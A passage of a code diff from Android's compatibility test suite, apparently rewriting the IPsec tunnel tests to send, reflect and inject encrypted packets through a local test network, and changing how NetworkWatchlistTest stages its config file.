+        setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
 
         // Security exceptions are thrown regardless of IPv4/IPv6. Just test one
         try {
-            mISM.createIpSecTunnelInterface(OUTER_ADDR6, OUTER_ADDR6, mUnderlyingNetwork);
+            mISM.createIpSecTunnelInterface(LOCAL_INNER_6, REMOTE_INNER_6, sTunNetwork);
             fail("Did not throw SecurityException for Tunnel creation without appop");
         } catch (SecurityException expected) {
         }
     }
 
-    public void testSecurityExceptionsBuildTunnelTransform() throws Exception {
+    @Test
+    public void testSecurityExceptionBuildTunnelTransformWithoutAppop() throws Exception {
+        if (!hasTunnelsFeature()) return;
+
         // Ensure we don't have the appop. Permission is not requested in the Manifest
-        setAppop(false);
+        setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
 
         // Security exceptions are thrown regardless of IPv4/IPv6. Just test one
         try (IpSecManager.SecurityParameterIndex spi =
-                mISM.allocateSecurityParameterIndex(OUTER_ADDR4);
+                        mISM.allocateSecurityParameterIndex(LOCAL_INNER_4);
                 IpSecTransform transform =
-                        new IpSecTransform.Builder(mContext)
-                                .buildTunnelModeTransform(OUTER_ADDR4, spi)) {
+                        new IpSecTransform.Builder(sContext)
+                                .buildTunnelModeTransform(REMOTE_INNER_4, spi)) {
             fail("Did not throw SecurityException for Transform creation without appop");
         } catch (SecurityException expected) {
         }
     }
 
-    private void checkTunnel(InetAddress inner, InetAddress outer, boolean useEncap)
+    /* Test runnables for callbacks after IPsec tunnels are set up. */
+    private abstract class IpSecTunnelTestRunnable {
+        /**
+         * Runs the test code, and returns the inner socket port, if any.
+         *
+         * @param ipsecNetwork The IPsec Interface based Network for binding sockets on
+         * @return the integer port of the inner socket if outbound, or 0 if inbound
+         *     IpSecTunnelTestRunnable
+         * @throws Exception if any part of the test failed.
+         */
+        public abstract int run(Network ipsecNetwork) throws Exception;
+    }
+
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CompletableFuture<Network> futureNetwork = new CompletableFuture<>();
+
+        @Override
+        public void onAvailable(Network network) {
+            futureNetwork.complete(network);
+        }
+
+        public Network getNetworkBlocking() throws Exception {
+            return futureNetwork.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    private int getPacketSize(
+            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode) {
+        int expectedPacketSize = TEST_DATA.length + UDP_HDRLEN;
+
+        // Inner Transport mode packet size
+        if (transportInTunnelMode) {
+            expectedPacketSize =
+                    PacketUtils.calculateEspPacketSize(
+                            expectedPacketSize,
+                            AES_CBC_IV_LEN,
+                            AES_CBC_BLK_SIZE,
+                            AUTH_KEY.length * 4);
+        }
+
+        // Inner IP Header
+        expectedPacketSize += innerFamily == AF_INET ? IP4_HDRLEN : IP6_HDRLEN;
+
+        // Tunnel mode transform size
+        expectedPacketSize =
+                PacketUtils.calculateEspPacketSize(
+                        expectedPacketSize, AES_CBC_IV_LEN, AES_CBC_BLK_SIZE, AUTH_KEY.length * 4);
+
+        // UDP encap size
+        expectedPacketSize += useEncap ? UDP_HDRLEN : 0;
+
+        // Outer IP Header
+        expectedPacketSize += outerFamily == AF_INET ? IP4_HDRLEN : IP6_HDRLEN;
+
+        return expectedPacketSize;
+    }
+
+    private interface IpSecTunnelTestRunnableFactory {
+        IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+                boolean transportInTunnelMode,
+                int spi,
+                InetAddress localInner,
+                InetAddress remoteInner,
+                InetAddress localOuter,
+                InetAddress remoteOuter,
+                IpSecTransform inTransportTransform,
+                IpSecTransform outTransportTransform,
+                int encapPort,
+                int innerSocketPort,
+                int expectedPacketSize)
+                throws Exception;
+    }
+
+    private class OutputIpSecTunnelTestRunnableFactory implements IpSecTunnelTestRunnableFactory {
+        public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+                boolean transportInTunnelMode,
+                int spi,
+                InetAddress localInner,
+                InetAddress remoteInner,
+                InetAddress localOuter,
+                InetAddress remoteOuter,
+                IpSecTransform inTransportTransform,
+                IpSecTransform outTransportTransform,
+                int encapPort,
+                int unusedInnerSocketPort,
+                int expectedPacketSize) {
+            return new IpSecTunnelTestRunnable() {
+                @Override
+                public int run(Network ipsecNetwork) throws Exception {
+                    // Build a socket and send traffic
+                    JavaUdpSocket socket = new JavaUdpSocket(localInner);
+                    ipsecNetwork.bindSocket(socket.mSocket);
+                    int innerSocketPort = socket.getPort();
+
+                    // For Transport-In-Tunnel mode, apply transform to socket
+                    if (transportInTunnelMode) {
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_IN, inTransportTransform);
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_OUT, outTransportTransform);
+                    }
+
+                    socket.sendTo(TEST_DATA, remoteInner, socket.getPort());
+
+                    // Verify that an encrypted packet is sent. As of right now, checking encrypted
+                    // body is not possible, due to the test not knowing some of the fields of the
+                    // inner IP header (flow label, flags, etc)
+                    sTunUtils.awaitEspPacketNoPlaintext(
+                            spi, TEST_DATA, encapPort != 0, expectedPacketSize);
+
+                    socket.close();
+
+                    return innerSocketPort;
+                }
+            };
+        }
+    }
+
+    private class InputReflectedIpSecTunnelTestRunnableFactory
+            implements IpSecTunnelTestRunnableFactory {
+        public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+                boolean transportInTunnelMode,
+                int spi,
+                InetAddress localInner,
+                InetAddress remoteInner,
+                InetAddress localOuter,
+                InetAddress remoteOuter,
+                IpSecTransform inTransportTransform,
+                IpSecTransform outTransportTransform,
+                int encapPort,
+                int innerSocketPort,
+                int expectedPacketSize)
+                throws Exception {
+            return new IpSecTunnelTestRunnable() {
+                @Override
+                public int run(Network ipsecNetwork) throws Exception {
+                    // Build a socket and receive traffic
+                    JavaUdpSocket socket = new JavaUdpSocket(localInner, innerSocketPort);
+                    ipsecNetwork.bindSocket(socket.mSocket);
+
+                    // For Transport-In-Tunnel mode, apply transform to socket
+                    if (transportInTunnelMode) {
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_IN, outTransportTransform);
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_OUT, inTransportTransform);
+                    }
+
+                    sTunUtils.reflectPackets();
+
+                    // Receive packet from socket, and validate that the payload is correct
+                    receiveAndValidatePacket(socket);
+
+                    socket.close();
+
+                    return 0;
+                }
+            };
+        }
+    }
+
+    private class InputPacketGeneratorIpSecTunnelTestRunnableFactory
+            implements IpSecTunnelTestRunnableFactory {
+        public IpSecTunnelTestRunnable getIpSecTunnelTestRunnable(
+                boolean transportInTunnelMode,
+                int spi,
+                InetAddress localInner,
+                InetAddress remoteInner,
+                InetAddress localOuter,
+                InetAddress remoteOuter,
+                IpSecTransform inTransportTransform,
+                IpSecTransform outTransportTransform,
+                int encapPort,
+                int innerSocketPort,
+                int expectedPacketSize)
+                throws Exception {
+            return new IpSecTunnelTestRunnable() {
+                @Override
+                public int run(Network ipsecNetwork) throws Exception {
+                    // Build a socket and receive traffic
+                    JavaUdpSocket socket = new JavaUdpSocket(localInner);
+                    ipsecNetwork.bindSocket(socket.mSocket);
+
+                    // For Transport-In-Tunnel mode, apply transform to socket
+                    if (transportInTunnelMode) {
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_IN, outTransportTransform);
+                        mISM.applyTransportModeTransform(
+                                socket.mSocket, IpSecManager.DIRECTION_OUT, inTransportTransform);
+                    }
+
+                    byte[] pkt;
+                    if (transportInTunnelMode) {
+                        pkt =
+                                getTransportInTunnelModePacket(
+                                        spi,
+                                        spi,
+                                        remoteInner,
+                                        localInner,
+                                        remoteOuter,
+                                        localOuter,
+                                        socket.getPort(),
+                                        encapPort);
+                    } else {
+                        pkt =
+                                getTunnelModePacket(
+                                        spi,
+                                        remoteInner,
+                                        localInner,
+                                        remoteOuter,
+                                        localOuter,
+                                        socket.getPort(),
+                                        encapPort);
+                    }
+                    sTunUtils.injectPacket(pkt);
+
+                    // Receive packet from socket, and validate
+                    receiveAndValidatePacket(socket);
+
+                    socket.close();
+
+                    return 0;
+                }
+            };
+        }
+    }
+
+    private void checkTunnelOutput(
+            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
             throws Exception {
-        setAppop(true);
-        int innerPrefixLen = inner instanceof Inet6Address ? IP6_PREFIX_LEN : IP4_PREFIX_LEN;
+        checkTunnel(
+                innerFamily,
+                outerFamily,
+                useEncap,
+                transportInTunnelMode,
+                new OutputIpSecTunnelTestRunnableFactory());
+    }
 
-        try (IpSecManager.SecurityParameterIndex spi = mISM.allocateSecurityParameterIndex(outer);
-                IpSecManager.IpSecTunnelInterface tunnelIntf =
-                        mISM.createIpSecTunnelInterface(outer, outer, mCM.getActiveNetwork());
-                IpSecManager.UdpEncapsulationSocket encapSocket =
-                        mISM.openUdpEncapsulationSocket()) {
+    private void checkTunnelInput(
+            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
+            throws Exception {
+        checkTunnel(
+                innerFamily,
+                outerFamily,
+                useEncap,
+                transportInTunnelMode,
+                new InputPacketGeneratorIpSecTunnelTestRunnableFactory());
+    }
 
-            IpSecTransform.Builder transformBuilder = new IpSecTransform.Builder(mContext);
+    /**
+     * Validates that the kernel can talk to itself.
+     *
+     * <p>This test takes an outbound IPsec packet, reflects it (by flipping IP src/dst), and
+     * injects it back into the TUN. This test then verifies that a packet with the correct payload
+     * is found on the specified socket/port.
+     */
+    public void checkTunnelReflected(
+            int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
+            throws Exception {
+        if (!hasTunnelsFeature()) return;
+
+        InetAddress localInner = innerFamily == AF_INET ? LOCAL_INNER_4 : LOCAL_INNER_6;
+        InetAddress remoteInner = innerFamily == AF_INET ? REMOTE_INNER_4 : REMOTE_INNER_6;
+
+        InetAddress localOuter = outerFamily == AF_INET ? LOCAL_OUTER_4 : LOCAL_OUTER_6;
+        InetAddress remoteOuter = outerFamily == AF_INET ? REMOTE_OUTER_4 : REMOTE_OUTER_6;
+
+        // Preselect both SPI and encap port, to be used for both inbound and outbound tunnels.
+        int spi = getRandomSpi(localOuter, remoteOuter);
+        int expectedPacketSize =
+                getPacketSize(innerFamily, outerFamily, useEncap, transportInTunnelMode);
+
+        try (IpSecManager.SecurityParameterIndex inTransportSpi =
+                        mISM.allocateSecurityParameterIndex(localInner, spi);
+                IpSecManager.SecurityParameterIndex outTransportSpi =
+                        mISM.allocateSecurityParameterIndex(remoteInner, spi);
+                IpSecTransform inTransportTransform =
+                        buildIpSecTransform(sContext, inTransportSpi, null, remoteInner);
+                IpSecTransform outTransportTransform =
+                        buildIpSecTransform(sContext, outTransportSpi, null, localInner);
+                UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
+
+            // Run output direction tests
+            IpSecTunnelTestRunnable outputIpSecTunnelTestRunnable =
+                    new OutputIpSecTunnelTestRunnableFactory()
+                            .getIpSecTunnelTestRunnable(
+                                    transportInTunnelMode,
+                                    spi,
+                                    localInner,
+                                    remoteInner,
+                                    localOuter,
+                                    remoteOuter,
+                                    inTransportTransform,
+                                    outTransportTransform,
+                                    useEncap ? encapSocket.getPort() : 0,
+                                    0,
+                                    expectedPacketSize);
+            int innerSocketPort =
+                    buildTunnelNetworkAndRunTests(
+                    localInner,
+                    remoteInner,
+                    localOuter,
+                    remoteOuter,
+                    spi,
+                    useEncap ? encapSocket : null,
+                    outputIpSecTunnelTestRunnable);
+
+            // Input direction tests, with matching inner socket ports.
+            IpSecTunnelTestRunnable inputIpSecTunnelTestRunnable =
+                    new InputReflectedIpSecTunnelTestRunnableFactory()
+                            .getIpSecTunnelTestRunnable(
+                                    transportInTunnelMode,
+                                    spi,
+                                    remoteInner,
+                                    localInner,
+                                    localOuter,
+                                    remoteOuter,
+                                    inTransportTransform,
+                                    outTransportTransform,
+                                    useEncap ? encapSocket.getPort() : 0,
+                                    innerSocketPort,
+                                    expectedPacketSize);
+            buildTunnelNetworkAndRunTests(
+                    remoteInner,
+                    localInner,
+                    localOuter,
+                    remoteOuter,
+                    spi,
+                    useEncap ? encapSocket : null,
+                    inputIpSecTunnelTestRunnable);
+        }
+    }
+
+    public void checkTunnel(
+            int innerFamily,
+            int outerFamily,
+            boolean useEncap,
+            boolean transportInTunnelMode,
+            IpSecTunnelTestRunnableFactory factory)
+            throws Exception {
+        if (!hasTunnelsFeature()) return;
+
+        InetAddress localInner = innerFamily == AF_INET ? LOCAL_INNER_4 : LOCAL_INNER_6;
+        InetAddress remoteInner = innerFamily == AF_INET ? REMOTE_INNER_4 : REMOTE_INNER_6;
+
+        InetAddress localOuter = outerFamily == AF_INET ? LOCAL_OUTER_4 : LOCAL_OUTER_6;
+        InetAddress remoteOuter = outerFamily == AF_INET ? REMOTE_OUTER_4 : REMOTE_OUTER_6;
+
+        // Preselect both SPI and encap port, to be used for both inbound and outbound tunnels.
+        // Re-uses the same SPI to ensure that even in cases of symmetric SPIs shared across tunnel
+        // and transport mode, packets are encrypted/decrypted properly based on the src/dst.
+        int spi = getRandomSpi(localOuter, remoteOuter);
+        int expectedPacketSize =
+                getPacketSize(innerFamily, outerFamily, useEncap, transportInTunnelMode);
+
+        try (IpSecManager.SecurityParameterIndex inTransportSpi =
+                        mISM.allocateSecurityParameterIndex(localInner, spi);
+                IpSecManager.SecurityParameterIndex outTransportSpi =
+                        mISM.allocateSecurityParameterIndex(remoteInner, spi);
+                IpSecTransform inTransportTransform =
+                        buildIpSecTransform(sContext, inTransportSpi, null, remoteInner);
+                IpSecTransform outTransportTransform =
+                        buildIpSecTransform(sContext, outTransportSpi, null, localInner);
+                UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
+
+            buildTunnelNetworkAndRunTests(
+                    localInner,
+                    remoteInner,
+                    localOuter,
+                    remoteOuter,
+                    spi,
+                    useEncap ? encapSocket : null,
+                    factory.getIpSecTunnelTestRunnable(
+                            transportInTunnelMode,
+                            spi,
+                            localInner,
+                            remoteInner,
+                            localOuter,
+                            remoteOuter,
+                            inTransportTransform,
+                            outTransportTransform,
+                            useEncap ? encapSocket.getPort() : 0,
+                            0,
+                            expectedPacketSize));
+        }
+    }
+
+    private int buildTunnelNetworkAndRunTests(
+            InetAddress localInner,
+            InetAddress remoteInner,
+            InetAddress localOuter,
+            InetAddress remoteOuter,
+            int spi,
+            UdpEncapsulationSocket encapSocket,
+            IpSecTunnelTestRunnable test)
+            throws Exception {
+        int innerPrefixLen = localInner instanceof Inet6Address ? IP6_PREFIX_LEN : IP4_PREFIX_LEN;
+        TestNetworkCallback testNetworkCb = null;
+        int innerSocketPort;
+
+        try (IpSecManager.SecurityParameterIndex inSpi =
+                        mISM.allocateSecurityParameterIndex(localOuter, spi);
+                IpSecManager.SecurityParameterIndex outSpi =
+                        mISM.allocateSecurityParameterIndex(remoteOuter, spi);
+                IpSecManager.IpSecTunnelInterface tunnelIface =
+                        mISM.createIpSecTunnelInterface(localOuter, remoteOuter, sTunNetwork)) {
+            // Build the test network
+            tunnelIface.addAddress(localInner, innerPrefixLen);
+            testNetworkCb = setupAndGetTestNetwork(tunnelIface.getInterfaceName());
+            Network testNetwork = testNetworkCb.getNetworkBlocking();
+
+            // Check interface was created
+            assertNotNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
+
+            // Verify address was added
+            final NetworkInterface netIface = NetworkInterface.getByInetAddress(localInner);
+            assertNotNull(netIface);
+            assertEquals(tunnelIface.getInterfaceName(), netIface.getDisplayName());
+
+            // Configure Transform parameters
+            IpSecTransform.Builder transformBuilder = new IpSecTransform.Builder(sContext);
             transformBuilder.setEncryption(
                     new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY));
             transformBuilder.setAuthentication(
                     new IpSecAlgorithm(
                             IpSecAlgorithm.AUTH_HMAC_SHA256, AUTH_KEY, AUTH_KEY.length * 4));
 
-            if (useEncap) {
+            if (encapSocket != null) {
                 transformBuilder.setIpv4Encapsulation(encapSocket, encapSocket.getPort());
             }
 
-            // Check transform application
-            try (IpSecTransform transform = transformBuilder.buildTunnelModeTransform(outer, spi)) {
-                mISM.applyTunnelModeTransform(tunnelIntf, IpSecManager.DIRECTION_IN, transform);
-                mISM.applyTunnelModeTransform(tunnelIntf, IpSecManager.DIRECTION_OUT, transform);
+            // Apply transform and check that traffic is properly encrypted
+            try (IpSecTransform inTransform =
+                            transformBuilder.buildTunnelModeTransform(remoteOuter, inSpi);
+                    IpSecTransform outTransform =
+                            transformBuilder.buildTunnelModeTransform(localOuter, outSpi)) {
+                mISM.applyTunnelModeTransform(tunnelIface, IpSecManager.DIRECTION_IN, inTransform);
+                mISM.applyTunnelModeTransform(
+                        tunnelIface, IpSecManager.DIRECTION_OUT, outTransform);
 
-                // TODO: Test to ensure that send/receive works with these transforms.
+                innerSocketPort = test.run(testNetwork);
             }
 
-            // Check interface was created
-            NetworkInterface netIntf = NetworkInterface.getByName(tunnelIntf.getInterfaceName());
-            assertNotNull(netIntf);
+            // Teardown the test network
+            sTNM.teardownTestNetwork(testNetwork);
 
-            // Add addresses and check
-            tunnelIntf.addAddress(inner, innerPrefixLen);
-            for (InterfaceAddress intfAddr : netIntf.getInterfaceAddresses()) {
-                assertEquals(intfAddr.getAddress(), inner);
-                assertEquals(intfAddr.getNetworkPrefixLength(), innerPrefixLen);
-            }
-
-            // Remove addresses and check
-            tunnelIntf.removeAddress(inner, innerPrefixLen);
-            assertTrue(netIntf.getInterfaceAddresses().isEmpty());
+            // Remove addresses and check that interface is still present, but fails lookup-by-addr
+            tunnelIface.removeAddress(localInner, innerPrefixLen);
+            assertNotNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
+            assertNull(NetworkInterface.getByInetAddress(localInner));
 
             // Check interface was cleaned up
-            tunnelIntf.close();
-            netIntf = NetworkInterface.getByName(tunnelIntf.getInterfaceName());
-            assertNull(netIntf);
+            tunnelIface.close();
+            assertNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
+        } finally {
+            if (testNetworkCb != null) {
+                sCM.unregisterNetworkCallback(testNetworkCb);
+            }
+        }
+
+        return innerSocketPort;
+    }
+
+    private static void receiveAndValidatePacket(JavaUdpSocket socket) throws Exception {
+        byte[] socketResponseBytes = socket.receive();
+        assertArrayEquals(TEST_DATA, socketResponseBytes);
+    }
+
+    private int getRandomSpi(InetAddress localOuter, InetAddress remoteOuter) throws Exception {
+        // Try to allocate both in and out SPIs using the same requested SPI value.
+        try (IpSecManager.SecurityParameterIndex inSpi =
+                        mISM.allocateSecurityParameterIndex(localOuter);
+                IpSecManager.SecurityParameterIndex outSpi =
+                        mISM.allocateSecurityParameterIndex(remoteOuter, inSpi.getSpi()); ) {
+            return inSpi.getSpi();
         }
     }
 
-    /*
-     * Create, add and remove addresses, then teardown tunnel
-     */
+    private IpHeader getIpHeader(int protocol, InetAddress src, InetAddress dst, Payload payload) {
+        if ((src instanceof Inet6Address) != (dst instanceof Inet6Address)) {
+            throw new IllegalArgumentException("Invalid src/dst address combination");
+        }
+
+        if (src instanceof Inet6Address) {
+            return new Ip6Header(protocol, (Inet6Address) src, (Inet6Address) dst, payload);
+        } else {
+            return new Ip4Header(protocol, (Inet4Address) src, (Inet4Address) dst, payload);
+        }
+    }
+
+    private EspHeader buildTransportModeEspPacket(
+            int spi, InetAddress src, InetAddress dst, int port, Payload payload) throws Exception {
+        IpHeader preEspIpHeader = getIpHeader(payload.getProtocolId(), src, dst, payload);
+
+        return new EspHeader(
+                payload.getProtocolId(),
+                spi,
+                1, // sequence number
+                CRYPT_KEY, // Same key for auth and crypt
+                payload.getPacketBytes(preEspIpHeader));
+    }
+
+    private EspHeader buildTunnelModeEspPacket(
+            int spi,
+            InetAddress srcInner,
+            InetAddress dstInner,
+            InetAddress srcOuter,
+            InetAddress dstOuter,
+            int port,
+            int encapPort,
+            Payload payload)
+            throws Exception {
+        IpHeader innerIp = getIpHeader(payload.getProtocolId(), srcInner, dstInner, payload);
+        return new EspHeader(
+                innerIp.getProtocolId(),
+                spi,
+                1, // sequence number
+                CRYPT_KEY, // Same key for auth and crypt
+                innerIp.getPacketBytes());
+    }
+
+    private IpHeader maybeEncapPacket(
+            InetAddress src, InetAddress dst, int encapPort, EspHeader espPayload)
+            throws Exception {
+
+        Payload payload = espPayload;
+        if (encapPort != 0) {
+            payload = new UdpHeader(encapPort, encapPort, espPayload);
+        }
+
+        return getIpHeader(payload.getProtocolId(), src, dst, payload);
+    }
+
+    private byte[] getTunnelModePacket(
+            int spi,
+            InetAddress srcInner,
+            InetAddress dstInner,
+            InetAddress srcOuter,
+            InetAddress dstOuter,
+            int port,
+            int encapPort)
+            throws Exception {
+        UdpHeader udp = new UdpHeader(port, port, new BytePayload(TEST_DATA));
+
+        EspHeader espPayload =
+                buildTunnelModeEspPacket(
+                        spi, srcInner, dstInner, srcOuter, dstOuter, port, encapPort, udp);
+        return maybeEncapPacket(srcOuter, dstOuter, encapPort, espPayload).getPacketBytes();
+    }
+
+    private byte[] getTransportInTunnelModePacket(
+            int spiInner,
+            int spiOuter,
+            InetAddress srcInner,
+            InetAddress dstInner,
+            InetAddress srcOuter,
+            InetAddress dstOuter,
+            int port,
+            int encapPort)
+            throws Exception {
+        UdpHeader udp = new UdpHeader(port, port, new BytePayload(TEST_DATA));
+
+        EspHeader espPayload = buildTransportModeEspPacket(spiInner, srcInner, dstInner, port, udp);
+        espPayload =
+                buildTunnelModeEspPacket(
+                        spiOuter,
+                        srcInner,
+                        dstInner,
+                        srcOuter,
+                        dstOuter,
+                        port,
+                        encapPort,
+                        espPayload);
+        return maybeEncapPacket(srcOuter, dstOuter, encapPort, espPayload).getPacketBytes();
+    }
+
+    // Transport-in-Tunnel mode tests
+    @Test
+    public void testTransportInTunnelModeV4InV4() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET, false, true);
+        checkTunnelInput(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV4InV4Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV4InV4UdpEncap() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET, true, true);
+        checkTunnelInput(AF_INET, AF_INET, true, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV4InV4UdpEncapReflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV4InV6() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET6, false, true);
+        checkTunnelInput(AF_INET, AF_INET6, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV4InV6Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV4() throws Exception {
+        checkTunnelOutput(AF_INET6, AF_INET, false, true);
+        checkTunnelInput(AF_INET6, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV4Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV4UdpEncap() throws Exception {
+        checkTunnelOutput(AF_INET6, AF_INET, true, true);
+        checkTunnelInput(AF_INET6, AF_INET, true, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV4UdpEncapReflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV6() throws Exception {
+        checkTunnelOutput(AF_INET, AF_INET6, false, true);
+        checkTunnelInput(AF_INET, AF_INET6, false, true);
+    }
+
+    @Test
+    public void testTransportInTunnelModeV6InV6Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, true);
+    }
+
+    // Tunnel mode tests
+    @Test
     public void testTunnelV4InV4() throws Exception {
-        checkTunnel(INNER_ADDR4, OUTER_ADDR4, false);
+        checkTunnelOutput(AF_INET, AF_INET, false, false);
+        checkTunnelInput(AF_INET, AF_INET, false, false);
     }
 
+    @Test
+    public void testTunnelV4InV4Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, false, false);
+    }
+
+    @Test
     public void testTunnelV4InV4UdpEncap() throws Exception {
-        checkTunnel(INNER_ADDR4, OUTER_ADDR4, true);
+        checkTunnelOutput(AF_INET, AF_INET, true, false);
+        checkTunnelInput(AF_INET, AF_INET, true, false);
     }
 
+    @Test
+    public void testTunnelV4InV4UdpEncapReflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET, true, false);
+    }
+
+    @Test
     public void testTunnelV4InV6() throws Exception {
-        checkTunnel(INNER_ADDR4, OUTER_ADDR6, false);
+        checkTunnelOutput(AF_INET, AF_INET6, false, false);
+        checkTunnelInput(AF_INET, AF_INET6, false, false);
     }
 
+    @Test
+    public void testTunnelV4InV6Reflected() throws Exception {
+        checkTunnelReflected(AF_INET, AF_INET6, false, false);
+    }
+
+    @Test
     public void testTunnelV6InV4() throws Exception {
-        checkTunnel(INNER_ADDR6, OUTER_ADDR4, false);
+        checkTunnelOutput(AF_INET6, AF_INET, false, false);
+        checkTunnelInput(AF_INET6, AF_INET, false, false);
     }
 
+    @Test
+    public void testTunnelV6InV4Reflected() throws Exception {
+        checkTunnelReflected(AF_INET6, AF_INET, false, false);
+    }
+
+    @Test
     public void testTunnelV6InV4UdpEncap() throws Exception {
-        checkTunnel(INNER_ADDR6, OUTER_ADDR4, true);
+        checkTunnelOutput(AF_INET6, AF_INET, true, false);
+        checkTunnelInput(AF_INET6, AF_INET, true, false);
     }
 
+    @Test
+    public void testTunnelV6InV4UdpEncapReflected() throws Exception {
+        checkTunnelReflected(AF_INET6, AF_INET, true, false);
+    }
+
+    @Test
     public void testTunnelV6InV6() throws Exception {
-        checkTunnel(INNER_ADDR6, OUTER_ADDR6, false);
+        checkTunnelOutput(AF_INET6, AF_INET6, false, false);
+        checkTunnelInput(AF_INET6, AF_INET6, false, false);
+    }
+
+    @Test
+    public void testTunnelV6InV6Reflected() throws Exception {
+        checkTunnelReflected(AF_INET6, AF_INET6, false, false);
     }
 }
diff --git a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
index e0c03a1..e4e350c 100644
--- a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
+++ b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
@@ -23,7 +23,9 @@
 
 import android.content.Context;
 import android.net.ConnectivityManager;
+import android.platform.test.annotations.AppModeFull;
 import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
@@ -38,7 +40,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.File;
+import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.util.Formatter;
@@ -50,8 +52,6 @@
     private static final String TEST_WATCHLIST_XML = "assets/network_watchlist_config_for_test.xml";
     private static final String TEST_EMPTY_WATCHLIST_XML =
             "assets/network_watchlist_config_empty_for_test.xml";
-    private static final String SDCARD_CONFIG_PATH =
-            "/sdcard/network_watchlist_config_for_test.xml";
     private static final String TMP_CONFIG_PATH =
             "/data/local/tmp/network_watchlist_config_for_test.xml";
     // Generated from sha256sum network_watchlist_config_for_test.xml
@@ -83,8 +83,7 @@
         }
     }
 
-    private void cleanup() throws Exception {
-        runCommand("rm " + SDCARD_CONFIG_PATH);
+    private void cleanup() throws IOException {
         runCommand("rm " + TMP_CONFIG_PATH);
     }
 
@@ -99,6 +98,7 @@
      * returns the hash of config we set.
      */
     @Test
+    @AppModeFull(reason = "Cannot access resource file in instant app mode")
     public void testGetWatchlistConfigHash() throws Exception {
         // Set watchlist config file for test
         setWatchlistConfig(TEST_WATCHLIST_XML);
@@ -116,22 +116,43 @@
     }
 
     private void saveResourceToFile(String res, String filePath) throws IOException {
-        InputStream in = getClass().getClassLoader().getResourceAsStream(res);
-        FileUtils.copyToFileOrThrow(in, new File(filePath));
+        // App can't access /data/local/tmp directly, so we pipe resource to file through stdin.
+        ParcelFileDescriptor stdin = pipeFromStdin(filePath);
+        pipeResourceToFileDescriptor(res, stdin);
+    }
+
+    /* Pipe stdin to a file in filePath. Returns PFD for stdin. */
+    private ParcelFileDescriptor pipeFromStdin(String filePath) {
+        // Not all devices have symlink for /dev/stdin, so use /proc/self/fd/0 directly.
+        // /dev/stdin maps to /proc/self/fd/0.
+        return runRwCommand("cp /proc/self/fd/0 " + filePath)[1];
+    }
+
+    private void pipeResourceToFileDescriptor(String res, ParcelFileDescriptor pfd)
+            throws IOException {
+        InputStream resStream = getClass().getClassLoader().getResourceAsStream(res);
+        FileOutputStream fdStream = new ParcelFileDescriptor.AutoCloseOutputStream(pfd);
+
+        FileUtils.copy(resStream, fdStream);
+
+        try {
+            fdStream.close();
+        } catch (IOException e) {
+        }
     }
 
     private static String runCommand(String command) throws IOException {
         return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
     }
 
+    private static ParcelFileDescriptor[] runRwCommand(String command) {
+        return InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().executeShellCommandRw(command);
+    }
+
     private void setWatchlistConfig(String watchlistConfigFile) throws Exception {
         cleanup();
-        // Save test watchlist config to sdcard as app can't access /data/local/tmp
-        saveResourceToFile(watchlistConfigFile, SDCARD_CONFIG_PATH);
-        // Copy test watchlist config from sdcard to /data/local/tmp as system service
-        // can't access /sdcard
